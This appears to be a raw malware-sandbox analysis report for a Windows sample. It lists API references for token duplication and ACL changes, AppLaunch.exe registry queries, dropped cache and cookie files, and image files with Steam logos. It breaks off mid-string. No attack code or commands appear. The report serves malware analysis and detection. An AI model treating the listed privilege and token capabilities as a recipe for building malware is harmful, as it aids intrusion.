"LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")76:Taa3,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetAce" (Indicator: "GetAce"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "AddAce" (Indicator: "AddAce"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")77:T94b,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")78:T11b2,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: 0c12cd0538bea9f88b40d52cf438f139.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: 0c12cd0538bea9f88b40d52cf438f139.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 0c12cd0538bea9f88b40d52cf438f139.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: 0c12cd0538bea9f88b40d52cf438f139.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: 0c12cd0538bea9f88b40d52cf438f139.exe] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: 10IO12so.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: 10IO12so.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: 10IO12so.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: 10IO12so.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: 10IO12so.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: 10IO12so.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 10IO12so.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: 10IO12so.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: 10IO12so.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: 10IO12so.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: 10IO12so.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: 10IO12so.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: 10IO12so.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: 10IO12so.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: 10IO12so.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: 10IO12so.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: bJ1qg86.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: bJ1qg86.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: bJ1qg86.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: bJ1qg86.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: bJ1qg86.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Ac8sp85.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Ac8sp85.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Ac8sp85.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Ac8sp85.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Ac8sp85.exe]79:Tc98,"AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "HELPERDLLNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPV6DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\LINKAGE"; Key: "BIND"; Value: "")7a:T6dc,"Cab10A7.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00002668] "Cab16E2.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "Cab1104.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002668] "Cab158B.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "Cab16A2.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "Cab11A1.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab11A1.tmp]- [targetUID: 00000000-00002140]7b:T14b8,Dropped file: "MVF3R5KJ.htm" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\CKDNCXYS\MVF3R5KJ.htm]- [targetUID: 00000000-00002328] Dropped file: "imagestore.dat" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00002668] Dropped file: "en-US.4" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00002328] Dropped file: "70DAE932E3BCB3C00656A27B544BA9CA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\70DAE932E3BCB3C00656A27B544BA9CA]- [targetUID: 00000000-00004040] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00002668] Dropped file: "4748633DC5731827D4B432DBAC7A3ECE" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\4748633DC5731827D4B432DBAC7A3ECE]- [targetUID: 00000000-00002600] Dropped file: "69C6F6EC64E114822DF688DC12CDD86C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00004040] Dropped file: "0270780F846F08BEFE0DD8112D932FEF" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\0270780F846F08BEFE0DD8112D932FEF]- [targetUID: 00000000-00001884] Dropped file: "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00001884] Dropped file: "6B2043001D270792DFFD725518EAFE2C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\6B2043001D270792DFFD725518EAFE2C]- [targetUID: 00000000-00002668] Dropped file: "HCIBBJ1Y.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\HCIBBJ1Y.txt]- [targetUID: 00000000-00002328] Dropped file: "EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619]- [targetUID: 00000000-00000108] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00001528] Dropped file: "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00002328] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00002328] Dropped file: "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00002328] Dropped file: "35DDEDF268117918D1D277A171D8DF7B_63BF650CC326FEDF447792693EE806B1" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_63BF650CC326FEDF447792693EE806B1]- [targetUID: 00000000-00001884] Dropped file: "E573CDF4C6D731D56A665145182FD759_E391470CF0D37EE71D631C107209CEFF" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E573CDF4C6D731D56A665145182FD759_E391470CF0D37EE71D631C107209CEFF]- [targetUID: 00000000-00000108] Dropped file: "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00003712] Dropped file: "F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC]- [targetUID: 00000000-00004040] Dropped file: "OHZ1VA1Y.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\OHZ1VA1Y.txt]- [targetUID: 00000000-00002328] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00002328] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00001528] Dropped file: "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00002328] Dropped file: "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00002328]7c:T450,"header_logo_1_.png" has type "PNG image data 744 x 171 8-bit/color RGBA non-interlaced" and extension "png" "header_menu_hamburger_1_.png" has type "PNG image data 244 x 212 8-bit/color RGBA non-interlaced" and extension "png" "logo_steam_footer_1_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced" and extension "png" "footerLogo_valve_new_1_.png" has type "PNG image data 176 x 50 8-bit/color RGBA non-interlaced" and extension "png" "logo_valve_footer_1_.png" has type "PNG image data 92 x 26 8-bit/color RGBA non-interlaced" and extension "png" "ico_twitter_1_.gif" has type "GIF image data version 89a 16 x 16" and extension "gif" "ico_facebook_1_.gif" has type "GIF image data version 89a 16 x 16" and extension "gif" "logo46x38_1_.png" has type "PNG image data 46 x 38 8-bit/color RGBA non-interlaced" and extension "png" "btn_header_installsteam_download_1_.png" has type "PNG image data 15 x 13 8-bit/color RGBA non-interlaced" and extension "png" "btn_arrow_down_padded_1_.png" has type "PNG image data 19 x 12 8-bit/color RGBA non-interlaced" and extension "png"7d:T1000a,"initAft()